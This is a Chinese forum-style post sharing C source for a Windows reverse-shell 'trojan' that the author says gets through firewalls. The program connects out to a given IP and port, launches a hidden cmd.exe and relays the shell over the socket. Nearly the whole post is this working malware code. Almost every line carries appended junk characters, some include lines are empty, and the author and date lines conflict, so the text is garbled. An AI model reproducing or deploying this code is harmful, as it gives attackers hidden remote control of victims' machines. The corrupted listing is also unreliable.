这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +q1@,LxN
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/* ============================== I'";
Rebound port in Windows NT u}$?r\H'(
By wind,2006/7 C..O_Zn{g
===============================*/ iMSS8J
#include # 8A|-u=3
#include 6gv.n
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#pragma comment(lib,"wsock32.lib") 2IGAZ%%
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void OutputShell(); 4H'9y3dk
SOCKET sClient; xk,E
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; MxY CMe4S[
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void main(int argc,char **argv) JSM{|HJxh
{ ~o+u: ]
WSADATA stWsaData; j=7 ]"%
int nRet; ;fuy}q8@7
SOCKADDR_IN stSaiClient,stSaiServer; hod|o1C&
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if(argc != 3) u{si
{ &{$\]sv
printf("Useage:\n\rRebound DestIP DestPort\n"); =T1i(M#
return; tw;`H( UZ^
} {2,V3*NF
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WSAStartup(MAKEWORD(2,2),&stWsaData); MSA*XDnN
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wFh{\
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stSaiClient.sin_family = AF_INET; IgVxWh#
stSaiClient.sin_port = htons(0); ^OUkFH;dG?
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) M$w^g8F27H
{ I)6)~[:'
printf("Bind Socket Failed!\n"); %f@]-
return; T^"d%au
} b747 eR 7E
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stSaiServer.sin_family = AF_INET; >LjvMj ]
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); }hGbF"clqg
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 419t"1b
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) jv W/M.q4
{ `A#r6+
printf("Connect Error!"); x.'O_7c0:
return; oYu5]ry
} >J4_/p>Qs
OutputShell(); *-2u0 %
} UlyX$f%2
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void OutputShell() xD1w#FMlQs
{ K2&pTA~OR
char szBuff[1024]; ^NP" m
SECURITY_ATTRIBUTES stSecurityAttributes; SwQb"
OSVERSIONINFO stOsversionInfo; TK'(\[E
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; zF{5!b
STARTUPINFO stStartupInfo; srUpG&Bcx
char *szShell; <jV_J+#
PROCESS_INFORMATION stProcessInformation; KnlVZn[3t
unsigned long lBytesRead; /<GygRs
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @n<WM@|l
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (d_{+O"
stSecurityAttributes.lpSecurityDescriptor = 0; _,5(HETE2
stSecurityAttributes.bInheritHandle = TRUE; U:ZklDW
#\w~(Nm-
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); DI+kO(S
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); -BR&b2
*K!V$8k=99
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Q&yfl
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QGfU:
stStartupInfo.wShowWindow = SW_HIDE; 'H+pwp"M@
stStartupInfo.hStdInput = hReadPipe; fY\QI
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _uL m !ku
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GetVersionEx(&stOsversionInfo); <UeO+M(
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switch(stOsversionInfo.dwPlatformId) /z6NJ2jb
{ ]e
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case 1: Aj-}G^>#
szShell = "command.com"; W*gu*H^s~
break; $$AKz\
default: WnA]gyc
szShell = "cmd.exe"; ^oM*f{9
break; 74QWGw`,
} n
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 6X)8vQH
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send(sClient,szMsg,77,0); g {wDI7"<q
while(1) $KKrl
{ ]x! vPIyq
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ?$9C[Kw`
if(lBytesRead) co#%~KqMu
{ Z{&PKS
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^BW V6
send(sClient,szBuff,lBytesRead,0); J7$5<
} Ry tQNwv3
else Es1Yx\/:
{ }wz )"
lBytesRead=recv(sClient,szBuff,1024,0); -49OE*uF
if(lBytesRead<=0) break; _<&IpT{w+
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); KD=T04v
} tvZpm@1
} rJ K~kKG
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return; .F&\xa{
}